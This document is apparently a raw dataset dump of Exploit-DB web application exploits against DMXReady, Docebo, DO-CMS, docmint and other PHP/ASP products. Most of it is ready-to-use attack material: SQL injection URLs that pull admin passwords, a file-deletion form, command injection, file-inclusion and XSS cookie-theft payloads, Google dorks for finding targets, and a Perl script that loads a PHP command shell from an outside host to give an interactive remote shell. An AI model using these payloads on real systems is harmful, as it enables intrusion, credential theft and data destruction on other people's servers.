deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17483
Description: DMXReady Account List Manager 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-04
Author: Bellatrix

Exploit:
# Exploit Title: DMXReady Account List Manager v1.2 SQL Injection
Vulnerability
# Google Dork: inurl:inc_billboardmanager_summary_popup.asp<http://demo.dmxready.com/applications/CatalogManager/inc_catalogmanager.asp>
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=account-list-manager<http://www.dmxready.com/?product=news-manager>
# Version: v1.2
#Language: ASP
# Price : $99.97
#Demo :
http://demo.dmxready.com/applications/AccountListManager/inc_accountlistmanager.asp
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....
---------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/AccountListManager/update.asp?AccountID=xx [ SQL ATTACK]
Exploit-DB #7764
Description: DMXReady Blog Manager 1.1 - Remote File Delete
Type: webapps
Platform: php
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Blog Manager <= 1.1 Remote Files Delete Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  199.97 $
# Dork    :  inurl:inc_webblogmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_webblogmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ajann Exp</title>
</head>

<body>
<p>Delete File : )</p>
<p>Form Action: http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=</p>
<form id="form1" name="form1" method="post" action="http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=">
  <label>
  <input type="hidden" name="inpCurrFolder" value="" />
  </label>
  <p>
    <label>
    Delete File Path:
    <input type="text" name="inpFileToDelete" value="/shots/index.asp">
    </label> 
    etc..
</p>
  <p>
    <label>
    <input type="submit" name="ff" id="ff" value="Submit" />
    </label>
  </p>
</form>
<p><br />
</p>
</body>
</html>

# milw0rm.com [2009-01-14]
Exploit-DB #17484
Description: DmxReady Links Manager 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-04
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady Links Manager v1.2 SQL Injection Vulnerability
# Google Dork: inurl:inc_linksmanager.asp<http://demo.dmxready.com/applications/CatalogManager/inc_catalogmanager.asp>
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=links-manager<http://www.dmxready.com/?product=news-manager>
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....
------------------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/LinksManager/update.asp?ItemID=xx [ SQL ATTACK]
Exploit-DB #7787
Description: DMXReady Secure Document Library 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Secure Document Library <= 1.1 Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  189.97 $
# Dork    :  inurl:inc_securedocumentlibrary.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_securedocumentlibrary.asp&btnG=Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/SecureDocumentLibrary/inc_securedocumentlibrary.asp
Edit    -> http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=
[SQL Inject]


Example:

USERNAME->
/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig

PASSWORD->
/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig

Admin Login->
/admin/SecureDocumentLibrary/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]
Exploit-DB #15204
Description: DNET Live-Stats 0.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-04
Author: blake

Exploit:
# Exploit Title: DNET Live-Stats 0.8 Local File Inclusion
# Date: 10-04-10
# Author: Blake
# Software Link: http://sourceforge.net/projects/dnetlivestats/files/0.8/dnet-live-stats-0.8-rc8.zip/download
# Version: 0.8 rc8
# Tested on: Windows XP SP3 running xampp lite

The showlang parameter does not properly sanitize user input.

POC:
http://127.0.0.1/dnet/team.rc5-72.php?showlang=../../../../../../../../../../../../boot.ini%00
Exploit-DB #8454
Description: DNS Tools (PHP Digger) - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-04-16
Author: SirGod

Exploit:
############################################################################################
[+] DNS Tools (PHP Digger) Remote Command Execution
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
############################################################################################

[+] Remote Command Execution

 - Vulnerable code in dig.php

------------------------------------------
$ns  = $_GET['ns'];

 system ("dig @$ns $host $query_type");
------------------------------------------

We can execute commands via "ns" variable.Just use || before and after
the command.

 PoC :

  http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging

 Example :

  http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging

############################################################################################

# milw0rm.com [2009-04-16]
Exploit-DB #21425
Description: DNSTools 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2002-04-28
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/4617/info

DNSTools is a web based managment tool for DNS information. It is implemented in PHP, and available for Linux and Solaris.

A vulnerability has been reported in some versions of DNSTools which allows any remote attacker to gain administrative access. An artificially constructed URL may define variables used to track user authentication and administrative access. 

http://www.example.com/dnstools.php?section=hosts&user_logged_in=true
http://www.example.com/dnstools.php?section=security&user_logged_in=true&user_dnstools_administrator=YES
Exploit-DB #16256
Description: DO-CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-02-28
Author: AtT4CKxT3rR0r1ST

Exploit:
DO-CMS Multiple Sql Injection Vulnerability 
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.do-cms.com/
.:. Dork           : "Powered by DO-CMS"
####################################################################

===[ Exploit ]===

www.site.com/page.php?pid=null[Sql]
www.site.com/archives.php?pid=null[Sql]

www.site.com/page.php?pid=null+and+1=2+union+select+concat(username,0x3a,psword)+from+tbladmin_users
www.site.com/archives.php?pid=null+and+1=2+union+select+1,2,3,concat(username,0x3a,psword),5,6,7,8,9,10,11+from+tbladmin_users
####################################################################
Exploit-DB #32671
Description: DO-CMS 3.0 - 'p' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-12-18
Author: crash over

Exploit:
source: https://www.securityfocus.com/bid/32906/info

DO-CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DO-CMS 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=%28SQL%29
Exploit-DB #1817
Description: Docebo 3.0.3 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-05-23
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#Docebo 3.0.3/DoceboCMS,DoceboKms,DoceboLms,DoceboCore,DoceboScs - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
####################################################################
#Docebo Site: http://www.docebocms.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In All scripts:
[code]
require_once($GLOBALS['where_framework'].'/lib/lib.permission.php');
require_once($GLOBALS['where_framework'].'/lib/lib.pagewriter.php');
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
[/code]

#DoceboCMS:

http://www.site.com/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=[evil_code]

#DoceboKms:

http://www.site.com/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=[evil_code]

http://www.site.com/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=[evil_code]

#DoceboLms:

http://www.site.com/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=[evil_code]

#DoceboCore:

http://www.site.com/doceboCore/lib/lib.php?GLOBALS[where_framework]=[evil_code]

#DoceboScs:

http://www.site.com/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=[evil_code]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#The End ;-)
#Pozdro Dla wszystkich o których zapomnia.em ;-)

# milw0rm.com [2006-05-23]
Exploit-DB #34812
Description: Docebo 3.6 - 'description' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43721/info

Docebo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Docebo 3.6.0.4 is vulnerable; prior versions may also be affected.

<form action="http://www.example.com/doceboLms/index.php?modname=advice&op=upadvice" method="post" name="main" > <input type="hidden" name="idAdvice" value="2" /> <input type="hidden" name="title" value="Hello" /> <input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="addadvice" value="Save changes" /> </form> <script> document.main.submit(); </script>
Exploit-DB #11028
Description: Docebo 3.6.0.2 (stable) - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-06
Author: Zer0 Thunder

Exploit:
# Exploit Title: Docebo 3.6.0.2 (stable) Local File Inclusion 
# Date: 2010-01-06
# Author: Zer0 Thunder
# Site : http://www.docebolms.org/
# Software Link: http://www.docebolms.org/doceboCms/
# Version: 3.6.0.2
# Tested on: Windows XP sp2 [WampServer 2.0i] 
# CVE : 
# Code :

Exploit :
http://localhost/docebo/index.php?modname=[LFI]&op=lostpwd

Sample : ( Only Tested On Wamp 2.0i)
http://localhost/docebo/index.php?modname=../../../../../../../boot.ini%00&op=lostpwd


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

########################################
# MSN : zer0_thunder@colombohackers.com
# Email : neonwarlock@live.com
# Site : LKHackers.com
# Greetz : To all my friends
# Note : Proud to be a Sri Lankan
# Me : Sri Lankan Hacker
########################################
Exploit-DB #10003
Description: Docebo 3.6.0.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-10-09
Author: Andrea Fabrizi

Exploit:
**************************************************************
Application: Docebo
Version affected: 3.6.0.3
Website: http://www.docebo.com
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi (at) gmail (dot) com [email concealed]
Web: http://www.andreafabrizi.it
Vuln: Multiple SQL-Injection Vulnerabilities
**************************************************************

########## EXAMPLE 1 ##########
roland@hp6720s:~$ echo -n "' union select userid,pass from core_user
-- " | base64
JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g

-> http://localhost/docebo/doceboLms/index.php?modname=faq&op=play&mode=hel
p&word=JyB1bmlvbiBzZWxlY3QgdXNlcmlkLHBhc3MgZnJvbSBjb3JlX3VzZXIgLS0g
###############################

########## EXAMPLE 2 ##########
roland@hp6720s:~$ echo -n "' union select 1,userid,pass from core_user
-- " | base64
JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

-> http://localhost/docebo/doceboLms/index.php?modname=link&op=play&mode=ke
yw&word=JyB1bmlvbiBzZWxlY3QgMSx1c2VyaWQscGFzcyBmcm9tIGNvcmVfdXNlciAtLSA=

###############################

########## EXAMPLE 3 ##########
-> http://localhost/docebo/doceboCore/index.php?modname=meta_certificate&op
=elemmetacertificate&id_certificate=3222
union select concat (userid,0x3d,pass),2,3 from core_user limit 1,2
###############################

########## EXAMPLE 4 ##########
-> http://localhost/docebo/doceboCore/index.php?modname=certificate&op=elem
certificate&id_certificate=1123
union select concat(userid,0x3d,pass),2,3 from core_user limit 1,2
###############################

--
Andrea Fabrizi
http://www.andreafabrizi.it
Exploit-DB #29662
Description: Docebo CMS 3.0.x - '/modules/htmlframechat/index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-24
Author: r00t

Exploit:
Docebo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Docebo 3.0.5 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/doceboScs/modules/htmlframechat/index.php?sn=<script>alert('XSS');</script> http://www.example.com/doceboScs/modules/htmlframechat/index.php?ri=<script>alert('XSS');</script>
Exploit-DB #29661
Description: Docebo CMS 3.0.x - 'index.php?searchkey' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-24
Author: r00t

Exploit:
Docebo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Docebo 3.0.5 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/doceboCms/index.php?searchkey=<script>alert('XSS');</script>
Exploit-DB #1828
Description: DoceboLms 2.0.5 - 'help.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-25
Author: beford

Exploit:
Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');

http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?

# milw0rm.com [2006-05-25]
Exploit-DB #26748
Description: DoceboLms 2.0.x - 'connector.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-12-06
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15742/info

DoceboLMS is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com/addons/fckeditor2rc2/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../../../../../../../../&CurrentFolder=
Exploit-DB #27905
Description: DoceboLms 2.0.x - 'Lang' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-05-26
Author: beford

Exploit:
source: https://www.securityfocus.com/bid/18110/info

DoceboLMS is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/DOCEBO205/modules/credits/help.php?lang=http://attacker's site
Exploit-DB #35755
Description: DocMGR 1.1.2 - 'history.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-12
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47861/info

DocMGR is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DocMGR 1.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/docmgr/history.php?f=0%22%29;}alert%280%29;{//
Exploit-DB #33505
Description: Docmint 1.0/2.1 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-12
Author: Red-D3v1L

Exploit:
source: https://www.securityfocus.com/bid/37721/info

Docmint is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Docmint 1.0 is vulnerable; versions 2.1 and higher are also vulnerable; other versions may be affected as well. 

http://www.example.com/index.php?id='"><script>alert(document.cookie)</script>
http://www.example.com/index.php?id=<marquee><font color=Red size=16>Th3 RDX/font></marquee>
http://www.example.com/index.php?id=<HTML><HEAD><TITLE>Redirect...</TITLE><META HTTP-EQUIV="REFRESH" CONTENT="0; URL=http://www.inj3ct0r.com"></HEAD><BODY>Redirect in corso...</BODY></HTML>
Exploit-DB #2493
Description: docmint 2.0 - '/engine/require.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-09
Author: K-159

Exploit:
#!/usr/bin/perl
##
# docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl docmint.pl <target> <cmd shell location> <cmd shell variable>
#
# perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'engine/require.php?MY_ENV[BASE_ENGINE_LOC]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.Âª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[Ã.Âª]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl docmint.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to docmint ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-10-09]
Exploit-DB #2146
Description: docpile:we 0.2.2 - 'INIT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-08
Author: Mehmet Ince

Exploit:
***********************************
TiTLE: docpile:we  v0.2.2 (INIT_PATH) Remote File Inclusion Vulnerability
-
Author: xoron
-
Class : Remote
-
cont@ct: x0r0n[at]hotmail[dot]com
-
URL: http://docpile-we.berlios.de
-
Exploit:
http://www.site.com/[path]/lib/folder.class.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/email.inc.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/document.class.php?INIT_PATH=http://evil_script?
http://www.site.com/[path]/lib/auth.inc.php?INIT_PATH=http://evil_script?
-
Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D , sakkkure
***************************************************

# milw0rm.com [2006-08-08]